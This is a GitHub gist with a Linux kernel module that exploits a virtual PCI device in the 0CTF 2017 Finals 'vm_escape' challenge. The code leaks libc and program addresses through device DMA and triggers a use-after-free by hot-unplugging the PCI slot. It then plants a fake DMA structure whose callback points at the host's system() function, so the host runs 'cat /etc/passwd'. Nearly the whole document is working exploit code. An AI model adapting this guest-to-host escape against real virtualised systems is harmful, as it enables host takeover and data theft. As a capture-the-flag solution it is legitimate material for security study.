Created
June 15, 2017 15:06
-
-
Save Eadom/3d5600b6931fbf328ffb20f10eeb3a52 to your computer and use it in GitHub Desktop.
Exploitation of vm_escape in 0CTF2017 Finals
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 0CTF 2017 finals | |
// vm_escape | |
// @Eadom | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/init.h> | |
#include <linux/ioport.h> | |
#include <linux/slab.h> | |
#include <linux/string.h> | |
#include <linux/delay.h> | |
#include <linux/fs.h> | |
#include <linux/uaccess.h> | |
#include <asm/io.h> | |
#define virt_to_phys(a) ((unsigned long)__pa(a)) | |
#define phys_to_virt(a) __va(a) | |
#define VDA_IOMEM_BASE (0xfe900000) | |
#define VDB_IOMEM_BASE (0xfea00000) | |
#define IOMEM_LEN (0x100000) | |
#define VDA_PORT (0xc000) | |
#define VDB_PORT (0xc100) | |
#define SYSTEM_OFFSET (0x1FE158) | |
struct dma | |
{ | |
unsigned long src; | |
unsigned long dst; | |
unsigned long cnt; | |
unsigned long cmd; | |
unsigned long phys_mem_read; | |
unsigned long phys_mem_write; | |
char buf[768]; | |
}; | |
unsigned long piomem; | |
unsigned long piomema, piomemb; | |
unsigned port; | |
unsigned long pbuf; | |
unsigned long libc_base, prog_base, system_addr; | |
void xxd(void *ptr, size_t size) | |
{ | |
size_t i; | |
for (i = 0; i < size; i++) | |
{ | |
if (i % 16 == 0) | |
printk("\n0x%016x:", ptr + i); | |
if (i % 4 == 0) | |
printk(" "); | |
printk("%02x", *(uint8_t *)(ptr + i)); | |
} | |
printk("\n"); | |
} | |
unsigned long search_libc_addr(char *buf, size_t size) | |
{ | |
unsigned long *stop, *ptr; | |
size_t i; | |
ptr = (unsigned long *)buf; | |
stop = ptr + size / sizeof(unsigned long); | |
while (ptr < stop) | |
{ | |
if ((*ptr & 0xffff000000000fff) == 0xb78) | |
{ | |
printk("found leak addr\n"); | |
return *ptr - 0x3c3b78; | |
} | |
ptr++; | |
} | |
printk("leak failed\n"); | |
return 0; | |
} | |
unsigned long search_prog_addr(char *buf, size_t size) | |
{ | |
unsigned long *stop, *ptr; | |
size_t i; | |
ptr = (unsigned long *)buf; | |
stop = ptr + size / sizeof(unsigned long); | |
while (ptr < stop) | |
{ | |
if ((*ptr & 0xffff000000000fff) == 0x43f) | |
{ | |
printk("found leak addr\n"); | |
return *ptr - 0x5c143f; | |
} | |
ptr++; | |
} | |
printk("leak failed\n"); | |
return 0; | |
} | |
void uninit(void) | |
{ | |
// printk("execute: echo 0 > /sys/bus/pci/slots/4/power\n"); | |
static char buf[] = "0"; | |
struct file *fp; | |
mm_segment_t fs; | |
loff_t pos; | |
fp = filp_open("/sys/bus/pci/slots/4/power", O_RDWR, 0644); | |
if (IS_ERR(fp)) | |
{ | |
printk("create file error\n"); | |
return -1; | |
} | |
fs = get_fs(); | |
set_fs(KERNEL_DS); | |
pos = 0; | |
vfs_write(fp, buf, sizeof(buf), &pos); | |
filp_close(fp, NULL); | |
set_fs(fs); | |
} | |
void set_sraddr(unsigned char val) | |
{ | |
outb(val, port + 9); | |
} | |
void set_sr(unsigned char val, unsigned char idx) | |
{ | |
set_sraddr(idx); | |
outb(val, port + 0x0a); | |
} | |
void set_dmalen(unsigned int val) | |
{ | |
set_sr(3, 5); | |
outw(val, port + 8); | |
} | |
void set_dmastate_dst(unsigned long val) | |
{ | |
writel(val, piomem + 8); | |
} | |
void set_dmastate_cmd(unsigned long val) | |
{ | |
writel(val, piomem + 36); | |
} | |
void set_dmastate_src(unsigned long val) | |
{ | |
writel(val, piomem + 4); | |
} | |
void set_expire_time(unsigned long val) | |
{ | |
writeq(val, piomem + 136); | |
} | |
void set_timer(unsigned long expire) | |
{ | |
set_sr(1, 129); | |
set_expire_time(expire); | |
writel(0, piomem + 128); | |
} | |
void phys_mem_write(unsigned int dst, unsigned int len) | |
{ | |
set_dmastate_dst(dst); | |
set_dmalen(len); | |
writel(0, piomem + 32); | |
} | |
void mem_leak(void) | |
{ | |
pbuf = (unsigned long)kmalloc(0x10000, GFP_KERNEL); | |
// printk("pbuf:0x%x\n", pbuf); | |
// printk("pbuf phys:0x%x\n", phys_to_virt(pbuf)); | |
memset(pbuf, 0, 0x10000); | |
phys_mem_write(virt_to_phys(pbuf), 0x1000); | |
// xxd(pbuf, 0x1000); | |
libc_base = search_libc_addr(pbuf, 0x1000); | |
printk("libc base:0x%lx\n", libc_base); | |
prog_base = search_prog_addr(pbuf, 0x1000); | |
printk("program base:0x%lx\n", prog_base); | |
system_addr = prog_base + SYSTEM_OFFSET; | |
printk("system addr:0x%lx\n", system_addr); | |
} | |
void put_fake_dma(void) | |
{ | |
struct dma fakedma; | |
fakedma.cmd = 2; | |
fakedma.phys_mem_read = system_addr; | |
memcpy(pbuf, (void *)&fakedma, sizeof(fakedma)); | |
set_dmalen(0x330); | |
set_dmastate_src(virt_to_phys(pbuf)); | |
set_dmastate_dst(virt_to_phys(pbuf)); | |
outb(0, VDB_PORT + 0); | |
} | |
static int __init m_init(void) | |
{ | |
printk("m_init\n"); | |
piomema = ioremap(VDA_IOMEM_BASE, IOMEM_LEN); | |
piomemb = ioremap(VDB_IOMEM_BASE, IOMEM_LEN); | |
port = VDA_PORT; | |
piomem = piomema; | |
// init dma_state | |
inl(VDA_PORT + 0); | |
inl(VDB_PORT + 0); | |
// phys addr leak | |
mem_leak(); | |
// copy cmd to dma_buf | |
strcpy(pbuf, "cat /etc/passwd"); | |
set_dmastate_src(virt_to_phys(pbuf)); | |
set_dmalen(0x10); | |
readb(piomema + 0x20); | |
// free | |
set_dmastate_cmd(2); | |
set_timer((unsigned long)1000000000 * 2); | |
uninit(); | |
// put fake dma | |
port = VDB_PORT; | |
piomem = piomemb; | |
put_fake_dma(); | |
return 0; | |
} | |
static void __exit m_exit(void) | |
{ | |
printk("m_exit\n"); | |
iounmap(piomema); | |
iounmap(piomemb); | |
} | |
module_init(m_init); | |
module_exit(m_exit); | |
MODULE_LICENSE("GPL"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment